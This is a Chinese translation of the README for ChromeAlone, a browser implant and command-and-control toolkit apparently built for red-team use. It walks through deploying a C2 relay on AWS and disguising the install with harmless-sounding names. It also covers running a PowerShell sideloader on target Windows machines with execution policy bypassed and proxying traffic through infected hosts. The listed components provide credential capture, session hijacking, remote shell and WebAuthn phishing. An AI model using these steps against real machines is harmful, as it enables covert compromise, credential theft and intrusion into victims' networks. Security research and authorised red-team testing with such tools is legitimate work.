
ChromeAlone 是一种浏览器植入程序,可以替代传统植入程序(如 Cobalt Strike 或 Meterpreter)。本仓库提供一个简单的构建流程,生成管理控制台、部署基础设施,并创建一个在目标上运行的 powershell 侧加载脚本。
安装后,每个 ChromeAlone 植入程序将提供以下机制:
首先构建 Docker 容器:docker build -t chromealone .
目前支持两种部署模式。请注意,无论哪种情况,都应从 ChromeAlone git 仓库的根目录运行 docker。
为此,您需要有一个 AWS 账户,并将凭据存储在 ~/.aws/credentials 中。确保您的账户具有完全的 EC2 写入权限以及 Route53 权限。另外,假设您的 Route53 已配置至少一个包含注册域名的托管区域。如果满足这些条件,则可以运行以下命令。
docker run --rm -v $(pwd):/project -v ~/.aws:/root/.aws chromealone --domain=sendmea.click --appname=UpdateService --region=us-west-2
domain 值应与 Route53 设置下控制的域名匹配。appname 可以是任意值,部署时将用于命名磁盘上的多个注册表键和文件夹。建议使用相当良性的名称,如 UpdateService 或类似无害的名称。
注意,region 可选,未指定时默认为 us-east-2。
这将把 BATTLEPLAN 中继服务器部署到 AWS,并生成以下工件:
output/client - 用于管理 ChromeAlone 安装的控制 Web 应用。
output/sideloader.ps1 - 在目标上运行的安装脚本,用于感染其本地浏览器实例。注意:还会有一个 iwa-sideloader.ps1 文件用于仅加载隔离 Web 应用,以及
extension-sideloader.ps1 用于仅加载浏览器扩展。
output/extension - 生成的恶意浏览器扩展。
output/iwa - 生成的恶意隔离 Web 应用签名包文件。
output/relay-deployment - 来自 AWS 部署的 Terraform 工件,包括直接访问主机的 SSH 密钥。
如果已部署实例,output/relay-deployment/terraform.tfvars 将包含生成新的侧加载脚本和恶意扩展所需的所有信息。您可以将 ChromeAlone docker 文件指向 tfvars 文件,它将跳过部署步骤,同时保留处理连接的适当元数据。
运行构建脚本 docker run --rm -v $(pwd):/project -v ~/.aws:/root/.aws chromealone --tfvars=/project/path/to/terraform.tfvars --appname=UpdateService,它将为您的部署生成一个新的恶意侧加载器。
获取 sideloader.ps1 并在目标 Windows 10 或 Windows 11 机器上运行 powershell.exe ExecutionPolicy Bypass -File .\path\to\sideloader.ps1 来执行。请注意,如果需要安装 NativeMessaging 主机(用于 shell out)或强制 Chrome 重启(如果您希望扩展在运行脚本后立即运行,而不是等待用户下次打开 Chrome),可以附加其他标志。同时使用这两个标志的示例调用是 powershell.exe -ExecutionPolicy Bypass .\sideloader.ps1 -InstallNativeMessagingHost $true -ForceRestart $true。如果您希望自动使用这些标志,也可以将脚本顶部的默认值从 false 改为 true。
完整的脚本执行大约需要 20-30 秒。
加载 ChromeAlone 后,您可以通过打开 output/client/index.html 查看任何已连接的主机。此 Web 应用预配置为连接回您部署的 BATTLEPLAN 中继实例。请注意,默认情况下,中继仅允许从部署服务器的 IP 通过端口 1080-1181 进行传入控制访问。如果您希望修改此设置,需要更新 EC2 实例的网络设置以包含其他机器。
大多数命令都可以从 WebUI 运行,包括:
Quick Commands 部分,需要在 Execute Command 部分选择目标代理)Captured Data 标签页中)Execute Command 部分)File Browser 标签页)Interactive Shell 标签页)主要例外是 SOCKS 代理。每个受感染主机被分配一个唯一的 SOCKS 端口,可在 Agent Information 部分看到,每个代理都有一个 Port 字段。分配的端口与 output/client/config.js 中存储的 admin 凭据结合使用,可配置特定主机的 SOCKS 代理。
例如,假设我们有一个端口为 1081 的代理,域名为 chrome.alone,用户名为 admin(始终如此),密码为 thisisnotarealpassword。以下是一些使用示例:
proxychains -q socks5 admin:[email protected]:1081 curl http://ifconfig.me
xfreerdp /cert:ignore /v:<target RDP host> /u:<target RDP username> /proxy:socks5://admin:[email protected]:1081
curl -x socks5h://chrome.alone:1081 -u "admin:thisisnotarealpassword" http://ifconfig.me
ChromeAlone 仓库分为多个组件,其中许多组件可单独用于评估,但组合在一起代表了完整的 Chromium 浏览器植入工具链。
BATTLEPLAN - 这是工具链的管理服务器组件。它包含用于部署到 AWS 环境的 Terraform 脚本,以及部署后与服务器交互的 HTML 客户端。BLOWTORCH - 这是一个恶意的隔离 Web 应用,利用 Direct Socket 权限实现 SOCKS TCP 代理和 WebSocket 服务器,以便其他 Chrome 组件之间进行通信。它还充当回连到 BATTLEPLAN 中继服务器的消息桥。DOORKNOB - 这是一系列用于生成隔离 Web 应用和 Chrome 扩展的 powershell 侧加载器的脚本。build.sh 中的脚本提供了如何创建一个将这两个单独侧加载器合并为一个的单一 Powershell 安装脚本的示例。HOTWHEELS - 这是一个恶意的 Chrome 扩展,所有功能都用 Web Assembly 实现。它提供了 ChromeAlone 绝大多数功能集,包括凭据捕获、会话劫持、shell out 和文件系统读取。PAINTBUCKET - 一系列内容脚本,通过在非活动标签页的 iFrame 中隐藏额外的 WebAuthn 请求,从而实现 WebAuthn 请求钓鱼。本工具由 Praetorian Security 的 Mike Weber 编写。
这项工作建立在许多研究人员工具和博客文章的肩膀上,他们为这一领域做出了贡献。没有他们的工作,这个项目就不会存在。如果你想深入了解本项目使用的内部机制,我建议阅读以下资源:
ChromeAlone 采用 Apache License 2.0 许可。
Copyright 2025 Praetorian Security, Inc
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.